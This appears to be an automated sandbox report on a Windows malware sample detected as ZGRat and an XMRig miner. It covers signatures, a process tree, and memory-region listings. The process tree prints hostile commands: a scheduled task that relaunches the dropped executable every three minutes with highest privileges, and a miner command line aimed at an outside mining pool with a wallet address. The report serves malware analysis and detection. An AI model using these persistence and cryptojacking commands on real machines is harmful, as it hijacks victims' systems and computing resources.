Analysis
- max time kernel
122s - max time network
144s - platform
windows7_x64 - resource
win7-20231215-en - resource tags
- submitted
23/01/2024, 10:21
General
- Target file.exe
- Size 5.1MB
- Sample240123-mdncjaabd9
- SHA256 026da734ed88cf3db01e392c674a140c2d641bf715366fd4f3f89e5a4a18d878
Malware Config
Signatures
- Detect ZGRat V1 5 IoCs
- ZGRat
ZGRat is remote access trojan written in C#.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 8 IoCs
- .NET Reactor proctector 5 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- UPX packed file 14 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 22 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp1027.tmp.bat""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"1⤵
- Creates scheduled task(s)
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
.exe
.exe
tmp1027.tmp.bat
.exe
memory/292-1-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp
memory/292-2-0x000000001B360000-0x000000001B3E0000-memory.dmp
memory/292-3-0x0000000000670000-0x0000000000671000-memory.dmp
memory/292-14-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp
memory/292-0-0x0000000000080000-0x00000000005A8000-memory.dmp
memory/2700-35-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-34-0x00000000000E0000-0x0000000000100000-memory.dmp
memory/2700-46-0x00000000002F0000-0x0000000000310000-memory.dmp
memory/2700-45-0x00000000001D0000-0x00000000001F0000-memory.dmp
memory/2700-23-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-24-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-26-0x000007FFFFFDD000-0x000007FFFFFDE000-memory.dmp
memory/2700-29-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-44-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-28-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-25-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-31-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-33-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-43-0x00000000002F0000-0x0000000000310000-memory.dmp
memory/2700-32-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-42-0x00000000001D0000-0x00000000001F0000-memory.dmp
memory/2700-36-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-37-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-39-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-38-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2700-40-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2816-19-0x0000000001020000-0x0000000001548000-memory.dmp
memory/2816-20-0x000007FEF5410000-0x000007FEF5DFC000-memory.dmp
memory/2816-30-0x000007FEF5410000-0x000007FEF5DFC000-memory.dmp
memory/2816-21-0x000000001C2E0000-0x000000001C360000-memory.dmp
memory/2816-22-0x0000000000140000-0x0000000000141000-memory.dmp